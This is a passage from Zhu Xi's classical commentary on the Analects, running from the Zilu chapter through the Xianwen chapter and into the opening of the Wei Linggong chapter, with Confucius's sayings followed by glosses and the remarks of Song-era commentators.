、必達於政而能言也。程子曰窮經將以致用也。世之誦詩者、果能從政而專對乎。然則其所學者、章句之末耳、此學者之大患也。\n子曰其身正、不令而行。其不正、雖令不從。\n子曰魯衛之政、兄弟也。魯、周公之後。衛、康叔之後。本兄弟之國、而是時衰亂、政亦相似、故孔子歎之。\n子謂衛公子荊、善居室。始有、曰『苟合矣。』少有、曰『苟完矣。』富有、曰『苟美矣。』公子荊、衛大夫。苟、聊且粗略之意。合、聚也。完、備也。言其循序而有節、不以欲速盡美累其心。楊氏曰務為全美、則累物而驕吝之心生。公子荊皆曰苟而已、則不以外物為心、其欲易足故也。\n子適衛、冉有僕。僕、御車也。子曰庶矣哉庶、眾也。冉有曰既庶矣。又何加焉。曰富之。庶而不富、則民生不遂、故制田里、薄賦斂以富之。曰既富矣、又何加焉。曰教之。富而不教、則近於禽獸。故必立學校、明禮義以教之。胡氏曰天生斯民、立之司牧、而寄以三事。然自三代之後、能舉此職者、百無一二。漢之文明、唐之太宗、亦云庶且富矣、西京之教無聞焉。明帝尊師重傅、臨雍拜老、宗戚子弟莫不受學。唐太宗大召名儒、增廣生員、教亦至矣、然而未知所以教也。三代之教、天子公卿躬行於上、言行政事皆可師法、彼二君者其能然乎。\n子曰苟有用我者。期月而已可也、三年有成。期月、謂周一歲之月也。可者、僅辭、言綱紀布也。有成、治功成也。尹氏曰孔子歎當時莫能用己也、故云然。愚按史記、此蓋為衛靈公不能用而發。\n子曰善人為邦百年、亦可以勝殘去殺矣。誠哉是言也勝、平聲。去、上聲。為邦百年、言相繼而久也。勝殘、化殘暴之人、使不為惡也。去殺、謂民化於善、可以不用刑殺也。蓋古有是言、而夫子稱之。程子曰漢自高、惠至于文、景、黎民醇厚、幾致刑措、庶乎其近之矣。尹氏曰勝殘去殺、不為惡而已、善人之功如是。若夫聖人、則不待百年、其化亦不止此。\n子曰如有王者、必世而後仁。王者謂聖人受命而興也。三十年為一世。仁、謂教化浹也。程子曰周自文武至於成王、而後禮樂興、即其效也。或問三年、必世、遲速不同、何也。程子曰三年有成、謂法度紀綱有成而化行也。漸民以仁、摩民以義、使之浹於肌膚、淪於骨髓、而禮樂可興、所謂仁也。此非積久、何以能致。\n子曰苟正其身矣、於從政乎何有。不能正其身、如正人何。\n冉子退朝。子曰何晏也。對曰有政。子曰其事也。如有政、雖不吾以、吾其與聞之。朝、音潮。與、去聲。冉有時為季氏宰。朝、季氏之私朝也。晏、晚也。政、國政。事、家事。以、用也。禮大夫雖不治事、猶得與聞國政。是時季氏專魯、其於國政、蓋有不與同列議於公朝、而獨與家臣謀於私室者。故夫子為不知者而言、此必季氏之家事耳。若是國政、我嘗為大夫、雖不見用、猶當與聞。今既不聞、則是非國政也。語意與魏徵獻陵之對略相似。其所以正名分、抑季氏、而教冉有之意深矣。\n定公問一言而可以興邦、有諸。孔子對曰言不可以若是其幾也。幾、期也。詩曰如幾如式。言一言之間、未可以如此而必期其效。人之言曰『為君難、為臣不易。』易、去聲。當時有此言也。如知為君之難也、不幾乎一言而興邦乎。因此言而知為君之難、則必戰戰兢兢、臨深履薄、而無一事之敢忽。然則此言也、豈不可以必期於興邦乎。為定公言、故不及臣也。曰一言而喪邦、有諸。孔子對曰言不可以若是其幾也。人之言曰『予無樂乎為君、唯其言而莫予違也。』喪、去聲、下同。樂、音洛。言他無所樂、惟樂此耳。如其善而莫之違也、不亦善乎。如不善而莫之違也、不幾乎一言而喪邦乎。范氏曰言不善而莫之違、則忠言不至於耳。君日驕而臣日諂、未有不喪邦者也。謝氏曰知為君之難、則必敬謹以持之。惟其言而莫予違、則讒諂面諛之人至矣。邦未必遽興喪也、而興喪之源分於此。然此非識微之君子、何足以知之。\n葉公問政。音義並見第七篇。子曰近者說、遠者來。說、音悅。○被其澤則悅、聞其風則來。然必近者悅、而後遠者來也。\n子夏為莒父宰、問政。子曰無欲速、無見小利。欲速、則不達。見小利、則大事不成。父、音甫。莒父、魯邑名。欲事之速成、則急遽無序、而反不達。見小者之為利、則所就者小、而所失者大矣。程子曰子張問政、子曰『居之無倦、行之以忠。』子夏問政、子曰『無欲速、無見小利。』子張常過高而未仁、子夏之病常在近小、故各以切己之事告之。\n葉公語孔子曰吾黨有直躬者、其父攘羊、而子證之。語、去聲。直躬、直身而行者。有因而盜曰攘。孔子曰吾黨之直者異於是。父為子隱、子為父隱、直在其中矣。為、去聲。父子相隱、天理人情之至也。故不求為直、而直在其中。謝氏曰順理為直。父不為子隱、子不為父隱、於理順邪。瞽瞍殺人、舜竊負而逃、遵海濱而處。當是時、愛親之心勝、其於直不直、何暇計哉。\n樊遲問仁。子曰居處恭、執事敬、與人忠。雖之夷狄、不可棄也。恭主容、敬主事。恭見於外、敬主乎中。之夷狄不可棄、勉其固守而勿失也。程子曰此是徹上徹下語。聖人初無二語也、充之則睟面盎背。推而達之、則篤恭而天下平矣。胡氏曰樊遲問仁者三此最先、先難次之、愛人其最後乎。\n子貢問曰何如斯可謂之士矣。子曰行己有恥、使於四方、不辱君命、可謂士矣。使、去聲。此其志有所不為、而其材足以有為者也。子貢能言、故以使事告之。蓋為使之難、不獨貴於能言而已。曰敢問其次。曰宗族稱孝焉、鄉黨稱弟焉。弟、去聲。此本立而材不足者、故為其次。曰敢問其次。曰言必信、行必果、硜硜然小人哉抑亦可以為次矣。行、去聲。硜、苦耕反。果、必行也。硜、小石之堅確者。小人、言其識量之淺狹也。此其本末皆無足觀、然亦不害其為自守也、故聖人猶有取焉、下此則市井之人、不復可為士矣。曰今之從政者何如。子曰噫斗筲之人、何足算也。筲、所交反。算、亦作筭、悉亂反。今之從政者、蓋如魯三家之屬。噫、心不平聲。斗、量名、容十升。筲、竹器、容斗二升。斗筲之人、言鄙細也。算、數也。子貢之問每下、故夫子以是警之。程子曰子貢之意、蓋欲為皎皎之行、聞於人者。夫子告之、皆篤實自得之事。\n子曰不得中行而與之、必也狂狷乎狂者進取、狷者有所不為也。狷、音絹。行、道也。狂者、志極高而行不掩。狷者、知未及而守有餘。蓋聖人本欲得中道之人而教之、然既不可得、而徒得謹厚之人、則未必能自振拔而有為也。故不若得此狂狷之人、猶可因其志節、而激厲裁抑之以進於道、非與其終於此而已也。孟子曰孔子豈不欲中道哉。不可必得、故思其次也。如琴張、曾皙、牧皮者、孔子之所謂狂也。其志嘐嘐然、曰『古之人古之人』夷考其行而不掩焉者也。狂者又不可得、欲得不屑不潔之士而與之、是狷也、是又其次也。\n子曰南人有言曰『人而無恆、不可以作巫醫。』善夫恆、胡登反。夫、音扶。南人、南國之人。恆、常久也。巫、所以交鬼神。醫、所以寄死生。故雖賤役、而猶不可以無常、孔子稱其言而善之。不恆其德、或承之羞。此易恆卦九三爻辭。承、進也。子曰不占而已矣。復加子曰、以別易文也、其義未詳。楊氏曰君子於易苟玩其占、則知無常之取羞矣。其為無常也、蓋亦不占而已矣。意亦略通。\n子曰君子和而不同、小人同而不和。和者、無乖戾之心。同者、有阿比之意。尹氏曰君子尚義、故有不同。小人尚利、安得而和。\n子貢問曰鄉人皆好之、何如。子曰未可也。鄉人皆惡之、何如。子曰未可也。不如鄉人之善者好之、其不善者惡之。好、惡、並去聲。一鄉之人、宜有公論矣、然其間亦各以類自為好惡也。故善者好之而惡者不惡、則必其有苟合之行。惡者惡之而善者不好、則必其無可好之實。\n子曰君子易事而難說也說之不以道、不說也。及其使人也、器之。小人難事而易說也說之雖不以道、說也。及其使人也、求備焉。易、去聲。說、音悅。器之、謂隨其材器而使之也。君子之心公而恕、小人之心私而刻。天理人欲之間、每相反而已矣。\n子曰君子泰而不驕、小人驕而不泰。君子循理、故安舒而不矜肆。小人逞欲、故反是。\n子曰剛毅、木訥、近仁。程子曰木者、質樸。訥者、遲鈍。四者、質之近乎仁者也。楊氏曰剛毅則不屈於物欲、木訥則不至於外馳、故近仁。\n子路問曰何如斯可謂之士矣。子曰切切、偲偲、怡怡如也、可謂士矣。朋友切切、偲偲、兄弟怡怡。胡氏曰切切、懇到也。偲偲、詳勉也。怡怡、和悅也。皆子路所不足、故告之。又恐其混於所施、則兄弟有賊恩之禍、朋友有善柔之損、故又別而言之。\n子曰善人教民七年、亦可以即戎矣。教民者、教之孝悌忠信之行、務農講武之法。即、就也。戎、兵也。民知親其上、死其長、故可以即戎。程子曰七年云者、聖人度其時可矣。如云期月、三年、百年、一世、大國五年、小國七年之類、皆當思其作為如何乃有益。\n子曰以不教民戰、是謂棄之。以、用也。言用不教之民以戰、必有敗亡之禍、是棄其民也。\n憲問第十四胡氏曰此篇疑原憲所記。凡四十七章。\n憲問恥。子曰邦有道、穀。邦無道、穀、恥也。憲、原思名。穀、祿也。邦有道不能有為、邦無道不能獨善、而但知食祿、皆可恥也。憲之狷介、其於邦無道穀之可恥、固知之矣。至於邦有道穀之可恥、則未必知也。故夫子因其問而并言之、以廣其志、使知所以自勉、而進於有為也。\n克、伐、怨、欲不行焉、可以為仁矣。此亦原憲以其所能而問也。克、好勝。伐、自矜。怨、忿恨。欲、貪欲。子曰可以為難矣、仁則吾不知也。有是四者而能制之、使不得行、可謂難矣。仁則天理渾然、自無四者之累、不行不足以言之也。程子曰人而無克、伐、怨、欲、惟仁者能之。有之而能制其情使不行、斯亦難能也。謂之仁則未也。此聖人開示之深、惜乎憲之不能再問也。或曰四者不行、固不得為仁矣。然亦豈非所謂克己之事、求仁之方乎。曰克去己私以復乎禮、則私欲不留、而天理之本然者得矣。若但制而不行、則是未有拔去病根之意、而容其潛藏隱伏於胸中也。豈克己求仁之謂哉。學者察於二者之間、則其所以求仁之功、益親切而無滲漏矣。\n子曰士而懷居、不足以為士矣。居、謂意所便安處也。\n子曰邦有道、危言危行。邦無道、危行言孫。行、孫、並去聲。危、高峻也。孫、卑順也。尹氏曰君子之持身不可變也、至於言則有時而不敢盡、以避禍也。然則為國者使士言孫、豈不殆哉。\n子曰有德者必有言、有言者不必有德。仁者必有勇、勇者不必有仁。有德者、和順積中、英華發外。能言者、或便佞口給而已。仁者、心無私累、見義必為。勇者、或血氣之強而已。尹氏曰有德者必有言、徒能言者未必有德也。仁者志必勇、徒能勇者未必有仁也。\n南宮适問於孔子曰羿善射、奡盪舟、俱不得其死然。禹稷躬稼、而有天下。夫子不答、南宮适出。子曰君子哉若人尚德哉若人适、古活反。羿、音詣。奡、五報反。盪、土浪反。南宮适、即南容也。羿、有窮之君、善射、滅夏后相而篡其位。其臣寒浞又殺羿而代之。奡、春秋傳作澆、浞之子也、力能陸地行舟、後為夏后少康所誅。禹平水土暨稷播種、身親稼穡之事。禹受舜禪而有天下、稷之後至周武王亦有天下。适之意蓋以羿奡比當世之有權力者、而以禹稷比孔子也。故孔子不答。然适之言如此、可謂君子之人、而有尚德之心矣、不可以不與。故俟其出而贊美之。\n子曰君子而不仁者有矣夫、未有小人而仁者也。夫、音扶。謝氏曰君子志於仁矣、然毫忽之間、心不在焉、則未免為不仁也。\n子曰愛之、能勿勞乎。忠焉、能勿誨乎。蘇氏曰愛而勿勞、禽犢之愛也。忠而勿誨、婦寺之忠也。愛而知勞之、則其為愛也深矣。忠而知誨之、則其為忠也大矣。\n子曰為命裨諶草創之、世叔討論之、行人子羽脩飾之、東里子產潤色之。裨、婢之反。諶、時林反。裨諶以下四人、皆鄭大夫。草、略也。創、造也、謂造為草斓也。世叔、游吉也、春秋傳作子太叔。討、尋究也。論、講議也。行人、掌使之官。子羽、公孫揮也。脩飾、謂增損之。東里地名、子產所居也。潤色、謂加以文采也。鄭國之為辭命、必更此四賢之手而成、詳審精密、各盡所長。是以應對諸侯、鮮有敗事。孔子言此、蓋善之也。\n或問子產。子曰惠人也。子產之政、不專於寬、然其心則一以愛人為主。故孔子以為惠人、蓋舉其重而言也問子西。曰彼哉彼哉子西、楚公子申、能遜楚國、立昭王、而改紀其政、亦賢大夫也。然不能革其僭王之號。昭王欲用孔子、又沮止之。其後卒召白公以致禍亂、則其為人可知矣。彼哉者、外之之辭。問管仲。曰人也。奪伯氏駢邑三百、飯疏食、沒齒無怨言。人也、猶言此人也。伯氏、齊大夫。駢邑、地名。齒、年也。蓋桓公奪伯氏之邑以與管仲、伯氏自知己罪、而心服管仲之功、故窮約以終身而無怨言。荀卿所謂與之書社三百、而富人莫之敢拒者、即此事也。或問管仲子產孰優。曰管仲之德、不勝其才。子產之才、不勝其德。然於聖人之學、則概乎其未有聞也。\n子曰貧而無怨難、富而無驕易。易、去聲。處貧難、處富易、人之常情。然人當勉其難、而不可忽其易也。\n子曰孟公綽為趙魏老則優、不可以為滕薛大夫。公綽、魯大夫。趙魏、晉卿之家。老、家臣之長。大家勢重、而無諸侯之事。家老望尊、而無官守之責。優、有餘也。滕薛、二國名。大夫、任國政者。滕薛國小政繁、大夫位高責重。然則公綽蓋廉靜寡欲、而短於才者也。胡氏〔一〕曰知之弗豫、枉其才而用之、則為棄人矣。此君子所以患不知人也。言此、則孔子之用人可知矣。\n〔一〕胡氏、清仿宋大字本作楊氏。\n子路問成人。子曰若臧武仲之知、公綽之不欲、卞莊子之勇、冉求之藝、文之以禮樂、亦可以為成人矣。知、去聲。成人、猶言全人。武仲、魯大夫、名紇。莊子、魯卞邑大夫。言兼此四子之長、則知足以窮理、廉足以養心、勇足以力行、藝足以泛應、而又節之以禮、和之以樂、使德成於內、而文見乎外。則材全德備、渾然不見一善成名之跡。中正和樂、粹然無復偏倚駁雜之蔽、而其為人也亦成矣。然亦之為言、非其至者、蓋就子路之所可及而語之也。若論其至、則非聖人之盡人道、不足以語此曰今之成人者何必然。見利思義、見危授命、久要不忘平生之言、亦可以為成人矣。復加曰字者、既答而復言也。授命、言不愛其生、持以與人也。久要、舊約也。平生、平日也。有是忠信之實、則雖其才知禮樂有所未備、亦可以為成人之次也。程子曰知之明、信之篤、行之果、天下之達德也。若孔子所謂成人、亦不出此三者。武仲、知也。公綽、仁也。卞莊子、勇也。冉求、藝也。須是合此四人之能、文之以禮樂、亦可以為成人矣。然而論其大成、則不止於此。若今之成人、有忠信而不及於禮樂、則又其次者也。又曰臧武仲之知、非正也。若文之以禮樂、則無不正矣。又曰語成人之名、非聖人孰能之。孟子曰『惟聖人然後可以踐形。』如此方可以稱成人之名。胡氏曰今之成人以下、乃子路之言。蓋不復聞斯行之之勇、而有終身誦之之固矣。未詳是否。\n子問公叔文子於公明賈曰信乎夫子不言、不笑、不取乎。公叔文子、衛大夫公孫拔也。公明姓、賈名、亦衛人。文子為人、其詳不可知、然必廉靜之士、故當時以三者稱之。公明賈對曰以告者過也。夫子時然後言、人不厭其言。樂然後笑、人不厭其笑。義然後取、人不厭其取。子曰其然、豈其然乎。厭者、苦其多而惡之之辭。事適其可、則人不厭、而不覺其有是矣。是以稱之或過、而以為不言、不笑、不取也。然此言也、非禮義充溢於中、得時措之宜者不能。文子雖賢、疑未及此、但君子與人為善、不欲正言其非也。故曰其然豈其然乎、蓋疑之也。\n子曰臧武仲以防求為後於魯、雖曰不要君、吾不信也。要、平聲。防、地名、武仲所封邑也。要、有挾而求也。武仲得罪奔邾、自邾如防、使請立後而避邑。以示若不得請、則將據邑以叛、是要君也。范氏曰要君者無上、罪之大者也。武仲之邑、受之於君。得罪出奔、則立後在君、非己所得專也。而據邑以請、由其好知而不好學也。楊氏曰武仲卑辭請後、其跡非要君者、而意實要之。夫子之言、亦春秋誅意之法也。\n子曰晉文公譎而不正、齊桓公正而不譎。譎、古穴反。晉文公、名重耳。齊桓公、名小白。譎、詭也。二公皆諸侯盟主、攘夷狄以尊周室者也。雖其以力假仁、心皆不正、然桓公伐楚、仗義執言、不由詭道、猶為彼善於此。文公則伐衛以致楚、而陰謀以取勝、其譎甚矣。二君他事亦多類此、故夫子言此以發其隱。\n子路曰桓公殺公子糾、召忽死之、管仲不死。曰未仁乎。糾、居黝反。召、音邵。按春秋傳、齊襄公無道、鮑叔牙奉公子小白奔莒。及無知弒襄公、管夷吾召忽奉公子糾奔魯。魯人納之、未克、而小白入、是為桓公。使魯殺子糾而請管召、召忽死之、管仲請囚。鮑叔牙言於桓公以為相。子路疑管仲忘君事讎、忍心害理、不得為仁也。子曰桓公九合諸侯、不以兵車、管仲之力也。如其仁如其仁九、春秋傳作糾、督也、古字通用。不以兵車、言不假威力也。如其仁、言誰如其仁者、又再言以深許之。蓋管仲雖未得為仁人、而其利澤及人、則有仁之功矣。\n子貢曰管仲非仁者與。桓公殺公子糾、不能死、又相之。與、平聲。相、去聲。○子貢意不死猶可、相之則已甚矣子曰管仲相桓公、霸諸侯、一匡天下、民到于今受其賜。微管仲、吾其被髮左衽矣。被、皮寄反。衽、而審反。霸、與伯同、長也。匡、正也。尊周室、攘夷狄、皆所以正天下也。微、無也。衽、衣衿也。被髮左衽、夷狄之俗也。豈若匹夫匹婦之為諒也、自經於溝瀆而莫之知也。諒、小信也。經、縊也。莫之知、人不知也。後漢書引此文、莫字上有人字。程子曰桓公、兄也。子糾、弟也。仲私於所事、輔之以爭國、非義也。桓公殺之雖過、而糾之死實當。仲始與之同謀、遂與之同死、可也。知輔之爭為不義、將自免以圖後功亦可也。故聖人不責其死而稱其功。若使桓弟而糾兄、管仲所輔者正、桓奪其國而殺之、則管仲之與桓、不可同世之讎也。若計其後功而與其事桓、聖人之言、無乃害義之甚、啟萬世反覆不忠之亂乎。如唐之王珪魏徵、不死建成之難、而從太宗、可謂害於義矣。後雖有功、何足贖哉。愚謂管仲有功而無罪、故聖人獨稱其功。王魏先有罪而後有功、則不以相掩可也。\n公叔文子之臣大夫僎、與文子同升諸公。僎、士免反。臣、家臣。公、公朝。謂薦之與己同進為公朝之臣也。子聞之曰可以為文矣。文者、順理而成章之謂。謚法亦有所謂錫民爵位曰文者。○洪氏曰家臣之賤而引之使與己並、有三善焉知人、一也。忘己、二也。事君、三也。\n子言衛靈公之無道也、康子曰夫如是、奚而不喪。夫、音扶。喪、去聲。喪、失位也。孔子曰仲叔圉治賓客、祝鮀治宗廟、王孫賈治軍旅。夫如是、奚其喪。仲叔圉、即孔文子也。三人皆衛臣、雖未必賢、而其才可用。靈公用之、又各當其才。尹氏曰衛靈公之無道宜喪也、而能用此三人、猶足以保其國、而況有道之君、能用天下之賢才者乎。詩曰『無競維人、四方其訓之。』\n子曰其言之不怍、則為之也難。大言不慚、則無必為之志、而不自度其能否矣。欲踐其言、豈不難哉。\n陳成子弒簡公。成子、齊大夫、名恆。簡公、齊君、名壬。事在春秋哀公十四年。孔子沐浴而朝、告於哀公曰陳恆弒其君、請討之。朝、音潮。是時孔子致仕居魯、沐浴齊戒以告君、重其事而不敢忽也。臣弒其君、人倫之大變、天理所不容、人人得而誅之、況鄰國乎。故夫子雖已告老、而猶請哀公討之。公曰告夫三子夫、音扶、下告夫同。三子、三家也。時政在三家、哀公不得自專、故使孔子告之。孔子曰以吾從大夫之後、不敢不告也。君曰『\n告夫三子』者。孔子出而自言如此。意謂弒君之賊、法所必討。大夫謀國、義所當告。君乃不能自命三子、而使我告之邪。之三子告、不可。孔子曰以吾從大夫之後、不敢不告也。以君命往告、而三子魯之強臣、素有無君之心、實與陳氏聲勢相倚、故沮其謀。而夫子復以此應之、其所以警之者深矣。程子曰左氏記孔子之言曰『陳恆弒其君、民之不予者半。以魯之眾、加齊之半、可克也。』此非孔子之言。誠若此言、是以力不以義也。若孔子之志、必將正名其罪、上告天子、下告方伯、而率與國以討之。至於所以勝齊者、孔子之餘事也、豈計魯人之眾寡哉。當是時、天下之亂極矣、因是足以正之、周室其復興乎。魯之君臣、終不從之、可勝惜哉胡氏曰春秋之法、弒君之賊、人得而討之。仲尼此舉、先發後聞可也。\n子路問事君。子曰勿欺也、而犯之。犯、謂犯顏諫爭。范氏曰犯非子路之所難也、而以不欺為難。故夫子教以先勿欺而後犯也。\n子曰君子上達、小人下達。君子循天理、故日進乎高明。小人殉人欲、故日究乎汙下。\n子曰古之學者為己、今之學者為人。為、去聲。程子曰為己、欲得之於己也。為人、欲見知於人也。程子曰古之學者為己、其終至於成物。今之學者為人、其終至於喪己。愚按聖賢論學者用心得失之際、其說多矣、然未有如此言之切而要者。於此明辨而日省之、則庶乎其不昧於所從矣。\n蘧伯玉使人於孔子。使、去聲、下同。蘧伯玉、衛大夫、名瑗。孔子居衛、嘗主於其家。既而反魯、故伯玉使人來也。孔子與之坐而問焉、曰夫子何為。對曰夫子欲寡其過而未能也。使者出。子曰使乎使乎與之坐、敬其主以及其使也。夫子、指伯玉也。言其但欲寡過而猶未能、則其省身克己、常若不及之意可見矣。使者之言愈自卑約、而其主之賢益彰、亦可謂深知君子之心、而善於辭令者矣。故夫子再言使乎以重美之。按莊周稱伯玉行年五十而知四十九年之非。又曰伯玉行年六十而六十化。蓋其進德之功、老而不倦。是以踐履篤實、光輝宣著。不惟使者知之、而夫子亦信之也。\n子曰不在其位、不謀其政。重出。\n曾子曰君子思不出其位。此艮卦之象辭也。曾子蓋嘗稱之、記者因上章之語而類記之也。范氏曰物各止其所、而天下之理得矣。故君子所思不出其位、而君臣、上下、大小、皆得其職也。\n子曰君子恥其言而過其行。行、去聲。恥者、不敢盡之意。過者、欲有餘之辭。\n子曰君子道者三、我無能焉仁者不憂、知者不惑、勇者不懼。知、去聲。自責以勉人也。子貢曰夫子自道也。道、言也。自道、猶云謙辭。尹氏曰成德以仁為先、進學以知為先。故夫子之言、其序有不同者以此。\n子貢方人。子曰賜也賢乎哉。夫我則不暇。夫、音扶。方、比也。乎哉、疑辭。比方人物而較其短長、雖亦窮理之事。然專務為此、則心馳於外、而所以自治者疏矣。故褒之而疑其辭、復自貶以深抑之。謝氏曰聖人責人、辭不迫切而意已獨至如此。\n子曰不患人之不己知、患其不能也。凡章指同而文不異者、一言而重出也。文小異者、屢言而各出也。此章凡四見、而文皆有異。則聖人於此一事、蓋屢言之、其丁寧之意亦可見矣。\n子曰不逆詐、不億不信。抑亦先覺者、是賢乎逆、未至而迎之也。億、未見而意之也。詐、謂人欺己。不信、謂人疑己。抑、反語辭。言雖不逆不億、而於人之情偽、自然先覺、乃為賢也。楊氏曰君子一於誠而已、然未有誠而不明者。故雖不逆詐、不億不信、而常先覺也。若夫不逆不億而卒為小人所罔焉、斯亦不足觀也已。\n微生畝謂孔子曰丘何為是栖栖者與。無乃為佞乎。與、平聲。微生、姓、畝、名也。畝名呼夫子而辭甚倨、蓋有齒德而隱者。栖栖、依依也。為佞、言其務為口給以悅人也。孔子曰非敢為佞也、疾固也。疾、惡也。固、執一而不通也。聖人之於達尊、禮恭而言直如此、其警之亦深矣。\n子曰驥不稱其力、稱其德也。驥、善馬之名。德、謂調良也。尹氏曰驥雖有力、其稱在德。人有才而無德、則亦奚足尚哉。\n或曰以德報怨、何如。或人所稱、今見老子書。德、謂恩惠也。子曰何以報德。言於其所怨、既以德報之矣。則人之有德於我者、又將何以報之乎。以直報怨、以德報德。於其所怨者、愛憎取舍、一以至公而無私、所謂直也。於其所德者、則必以德報之、不可忘也。或人之言、可謂厚矣。然以聖人之言觀之、則見其出於有意之私、而怨德之報皆不得其平也。必如夫子之言、然後二者之報各得其所。然怨有不讎、而德無不報、則又未嘗不厚也。此章之言、明白簡約、而其指意曲折反復。如造化之簡易易知、而微妙無窮、學者所宜詳玩也。\n子曰莫我知也夫夫、音扶。夫子自歎、以發子貢之問也。子貢曰何為其莫知子也。子曰不怨天、不尤人。下學而上達。知我者其天乎不得於天而不怨天、不合於人而不尤人、但知下學而自然上達。此但自言其反己自修、循序漸進耳、無以甚異於人而致其知也。然深味其語意、則見其中自有人不及知而天獨知之之妙。蓋在孔門、惟子貢之智幾足以及此、故特語以發之。惜乎其猶有所未達也程子曰不怨天、不尤人、在理當如此。又曰下學上達、意在言表。又曰學者須守下學上達之語、乃學之要。蓋凡下學人事、便是上達天理。然習而不察、則亦不能以上達矣。\n公伯寮愬子路於季孫。子服景伯以告、曰夫子固有惑志於公伯寮、吾力猶能肆諸市朝。朝、音潮。公伯寮、魯人。子服氏、景謚、伯字、魯大夫子服何也。夫子、指季孫。言其有疑於寮之言也。肆、陳尸也。言欲誅寮。子曰道之將行也與。命也。道之將廢也與。命也。公伯寮其如命何與、平聲。謝氏曰雖寮之愬行、亦命也。其實寮無如之何。愚謂言此以曉景伯、安子路、而警伯寮耳。聖人於利害之際、則不待決于命而後泰然也。\n子曰賢者辟世、辟、去聲、下同。天下無道而隱、若伯夷太公是也。其次辟地、去亂國、適治邦。其次辟色、禮貌衰而去。其次辟言。有違言而後去也。程子曰四者雖以大小次第言之、然非有優劣也、所遇不同耳。\n子曰作者七人矣。李氏曰作、起也。言起而隱去者、今七人矣。不可知其誰何。必求其人以實之、則鑿矣。\n子路宿於石門。晨門曰奚自。子路曰自孔氏。曰是知其不可而為之者與。與、平聲。石門、地名。晨門、掌晨啟門、蓋賢人隱於抱關者也。自、從也、問其何所從來也。胡氏曰晨門知世之不可而不為、故以是譏孔子。然不知聖人之視天下、無不可為之時也。\n子擊磬於衛。有荷蕢而過孔氏之門者、曰有心哉擊磬乎荷、去聲。磬、樂器。荷、擔也。蕢、草器也。此荷蕢者、亦隱士也。聖人之心未嘗忘天下、此人聞其磬聲而知之、則亦非常人矣。既而曰鄙哉硜硜乎莫己知也、斯己而已矣。深則厲、淺則揭。硜、苦耕反。莫己之己、音紀、餘音以。揭、起例反。硜硜、石聲、亦專確之意。以衣涉水曰厲、攝衣涉水曰揭。此兩句、衛風匏有苦葉之詩也。饑孔子人不知己而不止、不能適淺深之宜子曰果哉末之難矣。果哉、歎其果於忘世也。末、無也。聖人心同天地、視天下猶一家、中國猶一人、不能一日忘也。故聞荷蕢之言、而歎其果於忘世。且言人之出處、若但如此、則亦無所難矣。\n子張曰書云『高宗諒陰、三年不言。』何謂也。高宗、商王武丁也。諒陰、天子居喪之名、未詳其義。子曰何必高宗、古之人皆然。君薨、百官總己以聽於冢宰三年。言君薨、則諸侯亦然。總己、謂總攝己職。冢宰、太宰也。百官聽於冢宰、故君得以三年不言也。胡氏曰位有貴賤、而生於父母無以異者。故三年之喪、自天子達。子張非疑此也、殆以為人君三年不言、則臣下無所稟令、禍亂或由以起也。孔子告以聽於冢宰、則禍亂非所憂矣。\n子曰上好禮、則民易使也。好、易、皆去聲。謝氏曰禮達而分定、故民易使。\n子路問君子。子曰脩己以敬。曰如斯而已乎。曰脩己以安人。曰如斯而已乎。曰脩己以安百姓。脩己以安百姓、堯舜其猶病諸脩己以敬、夫子之言至矣盡矣。而子路少之、故再以其充積之盛、自然及物者告之、無他道也。人者、對己而言。百姓、則盡乎人矣。堯舜猶病、言不可以有加於此。以抑子路、使反求諸近也。蓋聖人之心無窮、世雖極治、然豈能必知四海之內、果無一物不得其所哉。故堯舜猶以安百姓為病。若曰吾治已足、則非所以為聖人矣。程子曰君子脩己以安百姓、篤恭而天下平。惟上下一於恭敬、則天地自位、萬物自育、氣無不和、而四靈畢至矣。此體信達順之道、聰明睿知皆由是出、以此事天饗帝。\n原壤夷俟。子曰幼而不孫弟、長而無述焉、老而不死、是為賊以杖叩其脛。孫、弟、並去聲。長、上聲。叩、音口。脛、其定反。原壤、孔子之故人。母死而歌、蓋老氏之流、自放於禮法之外者。夷、蹲踞也。俟、待也。言見孔子來而蹲踞以待之也。述、猶稱也。賊者、害人之名。以其自幼至長、無一善狀、而久生於世、徒足以敗常亂俗、則是賊而已矣。脛、足骨也。孔子既責之、而因以所曳之杖、微擊其脛、若使勿蹲踞然。\n闕黨童子將命。或問之曰益者與。與、平聲。闕黨、黨名。童子、未冠者之稱。將命、謂傳賓主之言。或人疑此童子學有進益、故孔子使之傳命以寵異之也。子曰吾見其居於位也、見其與先生並行也。非求益者也、欲速成者也。禮、童子當隅坐隨行。孔子言吾見此童子、不循此禮。非能求益、但欲速成爾。故使之給使令之役、觀長少之序、習揖遜之容。蓋所以抑而教之、非寵而異之也。\n論語集注卷八\n衛靈公第十五凡四十一章。\n衛靈公問陳於孔子。孔子對曰俎豆之事、則嘗聞之矣。軍旅之事、未之學也。明日遂行。陳、去聲。陳、謂軍師行伍之列。俎豆、禮器。尹氏曰衛靈公、無道之君也、復有志於戰伐之事、故答以未學而去之。在陳絕糧、從者病、莫能興。從、去聲。孔子去衛適陳。興、起也子路慍見曰君子亦有窮乎。子曰君子固窮、小人窮斯濫矣。見、賢遍反。何氏曰濫、溢也。言君子固有窮時、不若小人窮則放溢為非。程子曰固窮者、固守其窮。亦通。愚謂聖人當行而行、無所顧慮。處困而亨、無所怨悔。於此可見、學者宜深味之。\n子曰賜也、女以予為多學而識之者與。女、音汝。識、音志。與、平聲、下同。子貢之學、多而能識矣。夫子欲其知所本也、故問以發之。對曰然、非與。方信而忽疑、蓋其積學功至、而亦將有得也。曰非也、予一以貫之。說見第四篇。然彼以行言、而此以知言也。謝氏曰聖人之道大矣、人不能遍觀而盡識、宜其以為多學而識之也。然聖人豈務博者哉。如天之於眾形、匪物物刻而雕之也。故曰『予一以貫之。』『德輶如毛、毛猶有倫。上天之載、無聲無臭。』至矣尹氏曰孔子之於曾子、不待其問而直告之以此、曾子復深諭之曰『唯』。若子貢則先發其疑而後告之、而子貢終亦不能如曾子之唯也。二子所學之淺深、於此可見。愚按夫子之於子貢、屢有以發之、而他人不與焉。則顏曾以下諸子所學之淺深、又可見矣。\n子曰由知德者鮮矣。鮮、上聲。由、呼子路之名而告之也。德、謂義理之得於己者。非己有之、不能知其意味之實也。自第一章至此、疑皆一時之言。此章蓋為慍見發也。\n子曰無為而治者、其舜也與。夫何為哉、恭己正南面而已矣。與、平聲。夫、音扶。無為而治者、聖人德盛而民化、不待其有所作為也。獨稱舜者、紹堯之後、而又得人以任眾職、故尤不見其有為之跡也。恭己者、聖人敬德之容。既無所為、則人之所見如此而已。\n子張問行。猶問達之意也。子曰言忠信、行篤敬、雖蠻貊之邦行矣。言不忠信、行不篤敬、雖州里